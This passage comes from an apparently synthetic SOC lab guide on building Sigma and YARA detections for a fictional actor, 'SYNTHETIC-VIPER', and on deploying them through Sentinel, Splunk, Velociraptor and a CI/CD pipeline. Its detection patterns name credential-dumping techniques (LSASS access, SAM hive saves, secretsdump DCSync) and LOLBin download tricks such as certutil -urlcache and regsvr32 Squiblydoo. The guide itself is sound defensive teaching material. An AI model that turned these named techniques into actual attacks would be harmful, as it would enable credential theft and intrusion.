| table _time, ComputerName, User, CommandLine, ParentImage, ParentCommandLine
| sort -_time
Step 3.5: Sigma Rule 4 -- Credential Dumping¶
# File: sigma-rules/synviper_credential_dumping.yml
title: SYNTHETIC-VIPER Credential Dumping Activity
id: d4e5f6a7-b8c9-0123-defa-234567890123
status: experimental
description: |
Detects credential dumping techniques used by SYNTHETIC-VIPER, including
LSASS process access, SAM registry extraction, and DCSync replication
requests. Covers Sysmon Event 10 (ProcessAccess), Security Event 4662
(Directory Service Access), and process creation indicators.
All indicators are SYNTHETIC.
references:
- https://cybervault.example.com/intel/INT-2026-0042
- https://attack.mitre.org/techniques/T1003/001/
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1003.002
- attack.t1003.006
logsource:
category: process_access
product: windows
detection:
# LSASS access detection (Sysmon Event 10)
selection_lsass_target:
TargetImage|endswith: '\lsass.exe'
selection_lsass_access:
GrantedAccess|contains:
- '0x1010' # PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ
- '0x1410' # Above + PROCESS_QUERY_INFORMATION
- '0x1438' # Full access for credential dumping
- '0x143a' # Full access variant
- '0x1fffff' # PROCESS_ALL_ACCESS
- '0x40' # PROCESS_DUP_HANDLE
filter_legitimate_lsass:
SourceImage|endswith:
- '\MsMpEng.exe' # Windows Defender
- '\csrss.exe' # Client/Server Runtime
- '\wmiprvse.exe' # WMI Provider
- '\svchost.exe' # Service Host
- '\lsm.exe' # Local Session Manager
- '\taskmgr.exe' # Task Manager
- '\procexp64.exe' # Process Explorer
- '\vmtoolsd.exe' # VMware Tools
condition: selection_lsass_target and selection_lsass_access and not filter_legitimate_lsass
falsepositives:
- Antivirus and EDR products accessing LSASS for monitoring
- Windows Defender real-time protection
- Process monitoring tools (Process Explorer, Process Monitor)
level: critical
---
# Companion rule for SAM registry access
title: SYNTHETIC-VIPER SAM Registry Credential Extraction
id: d4e5f6a7-b8c9-0123-defa-234567890124
status: experimental
description: |
Detects SAM, SECURITY, or SYSTEM registry hive extraction via reg.exe
or other tools. This enables offline credential extraction.
All indicators SYNTHETIC.
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.credential_access
- attack.t1003.002
logsource:
category: process_creation
product: windows
detection:
selection_reg:
Image|endswith: '\reg.exe'
CommandLine|contains: 'save'
selection_hive:
CommandLine|contains:
- 'hklm\sam'
- 'hklm\security'
- 'hklm\system'
condition: selection_reg and selection_hive
falsepositives:
- Legitimate backup scripts that save registry hives
- System imaging tools
level: critical
---
# Companion rule for DCSync (Linux log source)
title: SYNTHETIC-VIPER DCSync via Secretsdump
id: d4e5f6a7-b8c9-0123-defa-234567890125
status: experimental
description: |
Detects DCSync execution from Linux attack hosts using Impacket
secretsdump.py. Monitors auditd process execution events.
All indicators SYNTHETIC.
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.credential_access
- attack.t1003.006
logsource:
category: process_creation
product: linux
detection:
selection_impacket:
Image|contains:
- 'secretsdump'
- 'impacket'
CommandLine|contains:
- 'secretsdump.py'
- '-just-dc'
- '-just-dc-ntlm'
selection_dcsync_args:
CommandLine|contains:
- 'example.com/' # domain/user format
- '@10.20.10.' # DC IP (SYNTHETIC)
condition: selection_impacket or (selection_dcsync_args)
falsepositives:
- Authorized penetration testing
- Red team exercises with signed ROE
level: critical
// Sigma Rule: SYNTHETIC-VIPER Credential Dumping -- LSASS Access
// Sysmon Event 10 (ProcessAccess)
SysmonEvent
| where TimeGenerated > ago(14d)
| where EventID == 10
| where TargetImage endswith "\\lsass.exe"
| where GrantedAccess in (
"0x1010", "0x1410", "0x1438", "0x143a", "0x1fffff", "0x40"
)
// Exclude legitimate processes
| where not (SourceImage endswith_any (
"\\MsMpEng.exe", "\\csrss.exe", "\\wmiprvse.exe",
"\\svchost.exe", "\\lsm.exe", "\\taskmgr.exe",
"\\procexp64.exe", "\\vmtoolsd.exe"
))
| project TimeGenerated, Computer, SourceImage, TargetImage,
GrantedAccess, SourceProcessGUID
| sort by TimeGenerated desc
// Companion: SAM Registry Extraction
// union with SecurityEvent for Event 4662
SecurityEvent
| where TimeGenerated > ago(14d)
| where EventID == 4662
// DCSync GUIDs (DS-Replication-Get-Changes)
| where Properties has_any (
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", // DS-Replication-Get-Changes
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", // DS-Replication-Get-Changes-All
"89e95b76-444d-4c62-991a-0facbeda640c" // DS-Replication-Get-Changes-In-Filtered-Set
)
| where SubjectUserName !endswith "$" // Exclude computer accounts (DCs)
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName,
ObjectName, Properties
| sort by TimeGenerated desc
// Sigma Rule: SYNTHETIC-VIPER Credential Dumping -- LSASS Access
// Sysmon Event 10 (ProcessAccess)
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=10
TargetImage="*\\lsass.exe"
(GrantedAccess=0x1010 OR GrantedAccess=0x1410 OR
GrantedAccess=0x1438 OR GrantedAccess=0x143a OR
GrantedAccess=0x1fffff OR GrantedAccess=0x40)
| where NOT match(SourceImage, "(?i)\\\\(MsMpEng|csrss|wmiprvse|svchost|lsm|taskmgr|procexp64|vmtoolsd)\.exe$")
| table _time, ComputerName, SourceImage, TargetImage, GrantedAccess, SourceProcessGuid
| sort -_time
// Companion: DCSync Detection via Event 4662
index=wineventlog sourcetype="WinEventLog:Security" EventCode=4662
| where (
match(Properties, "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2") OR
match(Properties, "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2") OR
match(Properties, "89e95b76-444d-4c62-991a-0facbeda640c")
)
| where NOT match(SubjectUserName, "\$$")
| table _time, ComputerName, SubjectUserName, SubjectDomainName, ObjectName, Properties
| sort -_time
Step 3.6: Sigma Rule 5 -- Data Staging for Exfiltration¶
# File: sigma-rules/synviper_data_staging.yml
title: SYNTHETIC-VIPER Data Staging and Compression
id: e5f6a7b8-c9d0-1234-efab-345678901234
status: experimental
description: |
Detects data staging and compression activities associated with
SYNTHETIC-VIPER pre-exfiltration behavior. Covers archive creation,
large file operations, and staging directory usage.
All indicators are SYNTHETIC.
references:
- https://cybervault.example.com/intel/INT-2026-0042
- https://attack.mitre.org/techniques/T1074/001/
- https://attack.mitre.org/techniques/T1560/001/
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.collection
- attack.t1074.001
- attack.exfiltration
- attack.t1560.001
logsource:
category: process_creation
product: windows
detection:
# Archive creation with command-line tools
selection_archive_tool:
Image|endswith:
- '\7z.exe'
- '\7za.exe'
- '\rar.exe'
- '\WinRAR.exe'
- '\zip.exe'
selection_archive_args:
CommandLine|contains:
- ' a ' # add to archive
- '-p' # password-protected
- '-m' # compression method
- '-v' # split volume
# PowerShell compression
selection_ps_compress:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- 'Compress-Archive'
- 'System.IO.Compression'
- 'ZipFile'
- '[IO.Compression.ZipFile]::CreateFromDirectory'
# tar/makecab staging
selection_other_compress:
Image|endswith:
- '\tar.exe'
- '\makecab.exe'
CommandLine|contains:
- '-cf'
- '/d'
# Suspicious staging directories
selection_staging_dir:
CommandLine|contains:
- 'C:\ProgramData\staging'
- 'C:\ProgramData\temp'
- 'C:\Windows\Temp\export'
- '%TEMP%\collect'
- 'C:\Users\Public'
- 'C:\Perflogs'
# Sensitive file patterns being archived
selection_sensitive_files:
CommandLine|contains:
- '*.pst' # Outlook archives
- '*.ost' # Outlook offline
- '*.doc*' # Documents
- '*.xls*' # Spreadsheets
- '*.pdf' # PDFs
- '*.kdbx' # KeePass databases
- '*.key' # Private keys
- '*.pfx' # Certificates
- '*.rdp' # RDP connection files
- 'passwords' # Password files
- 'credentials' # Credential files
# SYNTHETIC-VIPER specific
selection_synviper:
CommandLine|contains:
- 'sv_exfil'
- 'synviper'
- 'data_package'
filter_legitimate:
ParentImage|endswith:
- '\msiexec.exe'
- '\setup.exe'
CommandLine|contains:
- 'Windows\Installer'
- 'Program Files'
condition: >
(selection_archive_tool and (selection_archive_args or selection_staging_dir or selection_sensitive_files)) or
(selection_ps_compress and (selection_staging_dir or selection_sensitive_files)) or
(selection_other_compress and selection_staging_dir) or
selection_synviper
| filter not filter_legitimate
falsepositives:
- Legitimate backup operations using 7-Zip or WinRAR
- IT department archiving user data during offboarding
- Developer archive operations
level: high
// Sigma Rule: SYNTHETIC-VIPER Data Staging and Compression
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where
// Archive tools with suspicious arguments
(
FileName in~ ("7z.exe", "7za.exe", "rar.exe", "WinRAR.exe", "zip.exe") and
(
ProcessCommandLine has_any (" a ", "-p", "-m", "-v") or
ProcessCommandLine has_any (
"C:\\ProgramData\\staging", "C:\\ProgramData\\temp",
"C:\\Windows\\Temp\\export", "C:\\Users\\Public", "C:\\Perflogs"
) or
ProcessCommandLine has_any (
"*.pst", "*.ost", "*.doc", "*.xls", "*.pdf",
"*.kdbx", "*.key", "*.pfx", "passwords", "credentials"
)
)
)
or
// PowerShell compression
(
FileName in~ ("powershell.exe", "pwsh.exe") and
ProcessCommandLine has_any (
"Compress-Archive", "System.IO.Compression",
"ZipFile", "CreateFromDirectory"
) and
ProcessCommandLine has_any (
"C:\\ProgramData", "C:\\Users\\Public", "C:\\Perflogs",
"*.pst", "*.doc", "passwords"
)
)
or
// SYNTHETIC-VIPER specific
ProcessCommandLine has_any ("sv_exfil", "synviper", "data_package")
| where not (
InitiatingProcessFileName in~ ("msiexec.exe", "setup.exe") and
ProcessCommandLine has_any ("Windows\\Installer", "Program Files")
)
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName
| sort by TimeGenerated desc
// Sigma Rule: SYNTHETIC-VIPER Data Staging and Compression
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1
| where (
// Archive tools
(
match(Image, "(?i)\\\\(7z|7za|rar|WinRAR|zip)\.exe$") AND
(
match(CommandLine, "(?i)(\s+a\s+|-p|-m|-v)") OR
match(CommandLine, "(?i)(ProgramData\\\\(staging|temp)|Windows\\\\Temp\\\\export|Users\\\\Public|Perflogs)") OR
match(CommandLine, "(?i)(\*\.(pst|ost|doc|xls|pdf|kdbx|key|pfx)|passwords|credentials)")
)
)
OR
// PowerShell compression
(
match(Image, "(?i)\\\\(powershell|pwsh)\.exe$") AND
match(CommandLine, "(?i)(Compress-Archive|System\.IO\.Compression|ZipFile|CreateFromDirectory)")
)
OR
// SYNTHETIC-VIPER specific
match(CommandLine, "(?i)(sv_exfil|synviper|data_package)")
)
| where NOT (
match(ParentImage, "(?i)\\\\(msiexec|setup)\.exe$") AND
match(CommandLine, "(?i)(Windows\\\\Installer|Program Files)")
)
| table _time, ComputerName, User, Image, CommandLine, ParentImage
| sort -_time
Step 3.7: Testing Sigma Rules¶
# Validate Sigma rule syntax
$ sigma check sigma-rules/synviper_suspicious_powershell.yml
[OK] sigma-rules/synviper_suspicious_powershell.yml: Rule is valid
# Check all rules in directory
$ sigma check sigma-rules/
[OK] sigma-rules/synviper_suspicious_powershell.yml
[OK] sigma-rules/synviper_lateral_movement.yml
[OK] sigma-rules/synviper_scheduled_task_persistence.yml
[OK] sigma-rules/synviper_credential_dumping.yml
[OK] sigma-rules/synviper_data_staging.yml
5 rules validated, 0 errors
# Convert all rules to Splunk SPL
$ sigma convert -t splunk -p sysmon sigma-rules/ > splunk_rules_output.txt
# Convert all rules to Microsoft Sentinel KQL
$ sigma convert -t microsoft365defender -p sysmon sigma-rules/ > sentinel_rules_output.txt
# Convert to Elasticsearch (Lucene query)
$ sigma convert -t elasticsearch -p ecs_windows sigma-rules/ > elastic_rules_output.txt
# Test against synthetic EVTX files
$ evtx_dump synthetic_logs/security.evtx --no-confirm-overwrite -o json | \
python3 -c "
import json, sys
for line in sys.stdin:
event = json.loads(line)
# Apply Sigma logic manually for testing
if event.get('EventID') == 4688:
cmd = event.get('CommandLine', '')
if 'powershell' in cmd.lower() and '-enc' in cmd.lower():
print(f'[MATCH] PowerShell encoded command: {cmd[:100]}...')
"
Step 3.8: Exercise 3 Challenge¶
Challenge: Write a Sigma Rule for Living-off-the-Land Binary Abuse
Write a Sigma rule that detects SYNTHETIC-VIPER's use of LOLBins for defense evasion. The rule should cover:
certutil.exedownloading files (-urlcache -split -f)mshta.exeexecuting remote HTA filesregsvr32.exewith/s /u /i:URL(Squiblydoo)rundll32.exeexecuting JavaScriptbitsadmin.execreating download jobs
Solution:
title: SYNTHETIC-VIPER LOLBin Abuse for Defense Evasion
id: f6a7b8c9-d0e1-2345-fabc-456789012345
status: experimental
description: |
Detects abuse of legitimate Windows binaries (LOLBins) by SYNTHETIC-VIPER
for downloading payloads, executing code, and evading detection.
All indicators are SYNTHETIC.
references:
- https://cybervault.example.com/intel/INT-2026-0042
- https://lolbas-project.github.io/
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.defense_evasion
- attack.t1218
- attack.t1218.005
- attack.t1218.010
- attack.t1218.011
- attack.execution
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains|all:
- 'urlcache'
- '-f'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
- 'vbscript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
- '/i:http'
- '/i:https'
- '/i:ftp'
- 'scrobj.dll'
selection_rundll32_js:
Image|endswith: '\rundll32.exe'
CommandLine|contains:
- 'javascript:'
- 'mshtml,RunHTMLApplication'
- 'shell32.dll,Control_RunDLL'
selection_bitsadmin:
Image|endswith: '\bitsadmin.exe'
CommandLine|contains:
- '/transfer'
- '/create'
- '/addfile'
- '/resume'
filter_legitimate:
ParentImage|endswith:
- '\msiexec.exe'
- '\svchost.exe'
CommandLine|contains:
- 'Windows\CCM'
- 'Microsoft\Windows'
condition: >
(selection_certutil or selection_mshta or selection_regsvr32 or
selection_rundll32_js or selection_bitsadmin) and
not filter_legitimate
falsepositives:
- Legitimate use of certutil for certificate operations
- Group Policy using mshta for HTML Application execution
- Legitimate software installers using regsvr32
level: high
Exercise 4 -- Detection Pipeline Integration (60 min)¶
Objective¶
Integrate YARA and Sigma rules into operational detection pipelines. Deploy YARA scanning through Velociraptor and KAPE for DFIR workflows, implement Sigma rules in production SIEMs, and build CI/CD pipelines for detection rule lifecycle management.
Scenario Context¶
Detection Task 4
Task: CyberVault Technologies needs to operationalize the YARA and Sigma rules from Exercises 1-3. The detection engineering team must:
- Deploy YARA rules to Velociraptor for enterprise-wide endpoint scanning
- Package YARA rules for KAPE forensic collections
- Deploy Sigma rules to Microsoft Sentinel and Splunk
- Build a CI/CD pipeline (git-based) for rule lifecycle management
- Create automated testing with synthetic logs
MITRE ATT&CK: TA0040 (Impact -- detection pipeline availability)
Step 4.1: YARA Scanning with Velociraptor¶
Velociraptor supports native YARA scanning across endpoints. Configure a hunt to sweep all workstations:
# Velociraptor VQL artifact for YARA scanning
# File: artifacts/custom/SynviperYARAScan.yaml
name: Custom.SynViper.YARAScan
description: |
Scans endpoints for SYNTHETIC-VIPER indicators using YARA rules.
Targets common malware staging directories.
All indicators are SYNTHETIC.
author: CyberVault SOC (fictional)
type: CLIENT
parameters:
- name: YaraRules
description: YARA rules to apply
type: yara
default: |
rule SYNVIPER_QuickScan : synthetic {
meta:
description = "Quick scan for SYNTHETIC-VIPER indicators"
synthetic = "true"
strings:
$s1 = "SyntheticViperLoader" ascii wide nocase
$s2 = "synviper.example.com" ascii nocase
$s3 = "SVCONFIG_" ascii
$s4 = "sv_auth_key" ascii nocase
$s5 = "SYNVIPER_SHELL" ascii
condition:
any of them
}
- name: ScanPaths
description: Directories to scan
type: csv
default: |
Path
C:\Windows\Temp\
C:\Users\*\AppData\Local\Temp\
C:\Users\*\Downloads\
C:\ProgramData\
C:\Users\Public\
C:\Perflogs\
C:\inetpub\wwwroot\
- name: FileSizeLimit
description: Maximum file size to scan (bytes)
type: int
default: 10485760 # 10MB
- name: FileGlob
description: File pattern to match
type: string
default: "**/*"
sources:
- query: |
LET scan_paths = SELECT Path FROM parse_csv(
filename=ScanPaths, accessor="data")
LET files = SELECT OSPath, Size, Mtime, Atime
FROM foreach(row=scan_paths,
query={
SELECT OSPath, Size, Mtime, Atime
FROM glob(globs=FileGlob, root=Path)
WHERE NOT IsDir
AND Size < FileSizeLimit
AND Size > 0
})
SELECT * FROM foreach(row=files,
query={
SELECT
OSPath,
Size,
Mtime,
Rule,
Tags,
Meta,
String.Name as MatchName,
String.Offset as MatchOffset,
upload(file=OSPath) as Upload
FROM yara(
rules=YaraRules,
files=OSPath,
accessor="auto",
number=10
)
})
Running the Velociraptor hunt:
# Using Velociraptor CLI to launch a hunt (SYNTHETIC example)
$ velociraptor --config velociraptor.config.yaml \
query "SELECT * FROM Artifact.Custom.SynViper.YARAScan()" \
--max_rows 1000 \
--format json > hunt_results.json
# Example output (SYNTHETIC):
# {
# "OSPath": "C:\\Users\\jdoe\\AppData\\Local\\Temp\\svchost_update.exe",
# "Size": 245760,
# "Mtime": "2026-03-14T08:23:41Z",
# "Rule": "SYNVIPER_QuickScan",
# "Tags": ["synthetic"],
# "MatchName": "$s1",
# "MatchOffset": 1024
# }
Step 4.2: YARA Integration with KAPE¶
KAPE (Kroll Artifact Parser and Extractor) can use YARA for targeted artifact collection during forensic investigations:
# KAPE Module: SynViperYARAScan.mkape
# File: Modules/YARA/SynViperYARAScan.mkape
Description: Scan collected artifacts with SYNTHETIC-VIPER YARA rules
Category: YARA
Author: CyberVault SOC (fictional)
Version: 1.0
BinaryUrl: https://github.com/VirusTotal/yara/releases
FileMask: "*"
CommandLine: -r "%yaraRulesPath%\synviper_campaign.yar" "%sourceDirectory%"
ExportFormat: txt
# Run KAPE collection with YARA scanning (SYNTHETIC example)
$ kape.exe --tsource C:\Users\jdoe --tdest C:\Cases\CASE-2026-042\Collection \
--target !SANS_Triage \
--msource C:\Cases\CASE-2026-042\Collection \
--mdest C:\Cases\CASE-2026-042\Analysis \
--module SynViperYARAScan
# Results output path:
# C:\Cases\CASE-2026-042\Analysis\YARA\SynViperYARAScan\results.txt
Step 4.3: Sigma Rule Deployment to SIEM¶
Microsoft Sentinel Deployment¶
# Deploy Sigma rules as Sentinel Analytics Rules via Azure CLI
# (SYNTHETIC example -- would use real Azure subscription in production)
# Step 1: Convert Sigma to Sentinel ARM template
$ sigma convert -t microsoft365defender -p sysmon \
sigma-rules/synviper_suspicious_powershell.yml \
--output-format arm > sentinel_analytics_rule.json
# Step 2: Deploy via Azure CLI
$ az sentinel alert-rule create \
--resource-group "CyberVault-SOC-RG" \
--workspace-name "CyberVault-Sentinel" \
--rule-id "a1b2c3d4-e5f6-7890-abcd-ef1234567890" \
--rule-type Scheduled \
--template @sentinel_analytics_rule.json
Sentinel Analytics Rule (ARM template format):
{
"kind": "Scheduled",
"properties": {
"displayName": "SYNTHETIC-VIPER Suspicious PowerShell Execution",
"description": "Detects suspicious PowerShell patterns from SYNTHETIC-VIPER. ALL DATA SYNTHETIC.",
"severity": "High",
"enabled": true,
"query": "DeviceProcessEvents | where FileName in~ ('powershell.exe', 'pwsh.exe') | where ProcessCommandLine has_any ('-EncodedCommand', '-enc ', 'DownloadString', 'AmsiInitFailed', 'synviper.example.com') | where not (InitiatingProcessFileName =~ 'ccmexec.exe') | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine",
"queryFrequency": "PT5M",
"queryPeriod": "PT1H",
"triggerOperator": "GreaterThan",
"triggerThreshold": 0,
"suppressionDuration": "PT1H",
"suppressionEnabled": false,
"tactics": ["Execution", "DefenseEvasion"],
"techniques": ["T1059.001"],
"incidentConfiguration": {
"createIncident": true,
"groupingConfiguration": {
"enabled": true,
"lookbackDuration": "PT4H",
"matchingMethod": "AllEntities"
}
}
}
}
Splunk Deployment¶
# Deploy Sigma rules as Splunk saved searches
# Step 1: Convert to Splunk savedsearch format
$ sigma convert -t splunk -p sysmon \
sigma-rules/synviper_suspicious_powershell.yml \
--output-format savedsearches > savedsearches.conf
# Step 2: Copy to Splunk app directory
$ cp savedsearches.conf $SPLUNK_HOME/etc/apps/synviper_detections/local/
$ splunk restart
Splunk savedsearches.conf:
# File: local/savedsearches.conf
[SYNVIPER_Suspicious_PowerShell]
search = index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" \
EventCode=1 \
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe") \
(CommandLine="*-EncodedCommand*" OR CommandLine="*-enc *" OR \
CommandLine="*DownloadString*" OR CommandLine="*AmsiInitFailed*" OR \
CommandLine="*synviper.example.com*") \
NOT (ParentImage="*\\ccmexec.exe") \
| table _time, ComputerName, User, Image, CommandLine, ParentImage \
| sort -_time
dispatch.earliest_time = -1h
dispatch.latest_time = now
is_scheduled = 1
cron_schedule = */5 * * * *
enableSched = 1
alert.severity = 4
alert_type = number of events
alert_comparator = greater than
alert_threshold = 0
action.email.to = soc@cybervault.example.com
action.email.subject = [ALERT] SYNVIPER Suspicious PowerShell Detected (SYNTHETIC)
actions = email
Step 4.4: CI/CD Pipeline for Detection Rules¶
Build a git-based CI/CD pipeline for detection rule lifecycle management:
# File: .github/workflows/detection-rules-ci.yml
# CI/CD Pipeline for YARA and Sigma rule validation and deployment
# SYNTHETIC example -- all references are fictional
name: Detection Rules CI/CD
on:
push:
paths:
- 'yara-rules/**'
- 'sigma-rules/**'
pull_request:
paths:
- 'yara-rules/**'
- 'sigma-rules/**'
jobs:
validate-yara:
name: Validate YARA Rules
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install YARA
run: sudo apt-get install -y yara
- name: Compile and validate all YARA rules
run: |
echo "=== Validating YARA Rules ==="
errors=0
for rule in yara-rules/*.yar; do
if yarac "$rule" /tmp/compiled_rule 2>&1; then
echo "[PASS] $rule"
else
echo "[FAIL] $rule"
errors=$((errors + 1))
fi
done
echo "=== Results: $errors errors ==="
exit $errors
- name: Test YARA rules against synthetic samples
run: |
echo "=== Testing YARA Rules Against Synthetic Samples ==="
yara -r yara-rules/*.yar tests/synthetic-samples/ || true
validate-sigma:
name: Validate Sigma Rules
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install sigma-cli
run: |
pip install sigma-cli pySigma-backend-splunk \
pySigma-backend-microsoft365defender \
pySigma-pipeline-sysmon pySigma-pipeline-windows
- name: Validate all Sigma rules
run: |
echo "=== Validating Sigma Rules ==="
sigma check sigma-rules/
- name: Convert to Splunk SPL
run: |
echo "=== Converting to Splunk ==="
sigma convert -t splunk -p sysmon sigma-rules/ > /dev/null
echo "[PASS] All rules convert to SPL successfully"
- name: Convert to Sentinel KQL
run: |
echo "=== Converting to Sentinel KQL ==="
sigma convert -t microsoft365defender -p sysmon sigma-rules/ > /dev/null
echo "[PASS] All rules convert to KQL successfully"
test-against-logs:
name: Test Against Synthetic Logs
runs-on: ubuntu-latest
needs: [validate-sigma]
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
pip install sigma-cli pySigma-backend-splunk
cargo install evtx
- name: Run synthetic log tests
run: |
python3 tests/test_sigma_against_logs.py
echo "[PASS] All synthetic log tests passed"
deploy:
name: Deploy Rules
runs-on: ubuntu-latest
needs: [validate-yara, validate-sigma, test-against-logs]
if: github.ref == 'refs/heads/main'
steps:
- uses: actions/checkout@v4
- name: Deploy to Velociraptor
run: |
echo "Deploying YARA rules to Velociraptor server..."
# In production: upload via Velociraptor API
echo "[DEPLOY] YARA rules deployed to Velociraptor (SYNTHETIC)"
- name: Deploy to Sentinel
run: |
echo "Deploying Sigma rules to Microsoft Sentinel..."
# In production: az sentinel alert-rule create
echo "[DEPLOY] Sigma rules deployed to Sentinel (SYNTHETIC)"
- name: Deploy to Splunk
run: |
echo "Deploying Sigma rules to Splunk..."
# In production: splunk add saved-search
echo "[DEPLOY] Sigma rules deployed to Splunk (SYNTHETIC)"
Step 4.5: Rule Lifecycle Management¶
Rule Lifecycle: Draft -> Test -> Deploy -> Tune -> Retire
┌─────────┐ ┌──────┐ ┌────────┐ ┌──────┐ ┌────────┐
│ DRAFT │--->│ TEST │--->│ DEPLOY │--->│ TUNE │--->│ RETIRE │
└─────────┘ └──────┘ └────────┘ └──────┘ └────────┘
│ │ │ │ │
│ │ │ │ │
Write rule Validate Push to Adjust for Archive
in feature syntax + production false pos/ after IOC
branch test vs SIEM/EDR neg results expiry
synthetic or replace
logs with better
rule
Status Flow (Sigma):
experimental -> test -> stable -> deprecated
Rule metadata tracking:
#!/usr/bin/env python3
"""
Detection Rule Lifecycle Tracker
Tracks rule status, performance metrics, and tuning history.
All data is SYNTHETIC.
"""
import json
from datetime import datetime
class RuleTracker:
"""Track detection rule lifecycle and performance."""
def __init__(self, db_path="rule_tracker.json"):
self.db_path = db_path
self.rules = self._load()
def _load(self):
try:
with open(self.db_path) as f:
return json.load(f)
except FileNotFoundError:
return {}
def _save(self):
with open(self.db_path, 'w') as f:
json.dump(self.rules, f, indent=2)
def register_rule(self, rule_id, title, rule_type, author):
"""Register a new detection rule."""
self.rules[rule_id] = {
"title": title,
"type": rule_type, # "yara" or "sigma"
"author": author,
"status": "draft",
"created": datetime.now().isoformat(),
"modified": datetime.now().isoformat(),
"deployed_to": [],
"metrics": {
"true_positives": 0,
"false_positives": 0,
"false_negatives": 0,
"total_alerts": 0
},
"tuning_history": [],
"version": "1.0"
}
self._save()
print(f"[+] Registered rule: {title} ({rule_id})")
def update_status(self, rule_id, new_status):
"""Update rule status: draft -> test -> stable -> deprecated."""
valid_transitions = {
"draft": ["test"],
"test": ["stable", "draft"],
"stable": ["deprecated", "test"],
"deprecated": []
}
current = self.rules[rule_id]["status"]
if new_status in valid_transitions.get(current, []):
self.rules[rule_id]["status"] = new_status
self.rules[rule_id]["modified"] = datetime.now().isoformat()
self._save()
print(f"[+] {rule_id}: {current} -> {new_status}")
else:
print(f"[-] Invalid transition: {current} -> {new_status}")
def record_metrics(self, rule_id, tp=0, fp=0, fn=0):
"""Record detection metrics for a rule."""
m = self.rules[rule_id]["metrics"]
m["true_positives"] += tp
m["false_positives"] += fp
m["false_negatives"] += fn
m["total_alerts"] += tp + fp
self.rules[rule_id]["modified"] = datetime.now().isoformat()
self._save()
# Calculate precision and recall
precision = m["true_positives"] / max(m["total_alerts"], 1)
recall = m["true_positives"] / max(m["true_positives"] + m["false_negatives"], 1)
print(f"[+] {rule_id}: TP={m['true_positives']}, FP={m['false_positives']}, "
f"Precision={precision:.2%}, Recall={recall:.2%}")
def get_report(self):
"""Generate a summary report of all rules."""
print(f"\n{'='*70}")
print(f"Detection Rule Inventory Report -- {datetime.now().isoformat()}")
print(f"{'='*70}\n")
for rule_id, rule in self.rules.items():
m = rule["metrics"]
precision = m["true_positives"] / max(m["total_alerts"], 1)
print(f" {rule['title']}")
print(f" ID: {rule_id} | Type: {rule['type']} | Status: {rule['status']}")
print(f" Alerts: {m['total_alerts']} | TP: {m['true_positives']} | "
f"FP: {m['false_positives']} | Precision: {precision:.2%}")
print()
# Example usage (SYNTHETIC)
if __name__ == '__main__':
tracker = RuleTracker()
# Register SYNTHETIC-VIPER rules
tracker.register_rule(
"a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"SYNTHETIC-VIPER Suspicious PowerShell",
"sigma", "CyberVault SOC"
)
tracker.register_rule(
"SYNVIPER_Dropper_Stage1",
"SYNTHETIC-VIPER First Stage Dropper",
"yara", "CyberVault SOC"
)
# Simulate lifecycle
tracker.update_status("a1b2c3d4-e5f6-7890-abcd-ef1234567890", "test")
tracker.record_metrics("a1b2c3d4-e5f6-7890-abcd-ef1234567890", tp=5, fp=2)
tracker.update_status("a1b2c3d4-e5f6-7890-abcd-ef1234567890", "stable")
tracker.get_report()
Step 4.6: Automated Rule Testing with Synthetic Logs¶
#!/usr/bin/env python3
"""
Automated Sigma Rule Testing Against Synthetic Logs
Generates synthetic log entries and validates that Sigma rules
produce expected detections. All data is 100% SYNTHETIC.
"""
import json
import re
from datetime import datetime, timedelta
import random
# Seed for reproducibility
random.seed(42)
class SyntheticLogGenerator:
"""Generate synthetic Windows event logs for Sigma rule testing."""
def __init__(self):
self.base_time = datetime(2026, 3, 15, 10, 0, 0)
self.hostnames = [
"WS-ENG-017.cybervault.example.com",
"WS-HR-003.cybervault.example.com",
"DC01.cybervault.example.com",
"WEB01.cybervault.example.com",
]
self.users = [
"cybervault\\jdoe",
"cybervault\\svc_web",
"cybervault\\soc_analyst",
"NT AUTHORITY\\SYSTEM",
]
def generate_sysmon_event_1(self, image, commandline, parent_image,
user=None, hostname=None, minutes_offset=0):
"""Generate a Sysmon Event 1 (Process Creation) log entry."""
return {
"EventID": 1,
"TimeCreated": (self.base_time + timedelta(minutes=minutes_offset)).isoformat(),
"Computer": hostname or random.choice(self.hostnames),
"User": user or random.choice(self.users),
"Image": image,
"CommandLine": commandline,
"ParentImage": parent_image,
"ParentCommandLine": "",
"ProcessId": random.randint(1000, 65535),
"ParentProcessId": random.randint(100, 999),
"LogonId": f"0x{random.randint(100000, 999999):x}",
"OriginalFileName": image.split("\\")[-1],
}
def generate_malicious_powershell(self):
"""Generate synthetic malicious PowerShell events (should match Sigma rule)."""
events = []
# Encoded command
events.append(self.generate_sysmon_event_1(
image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
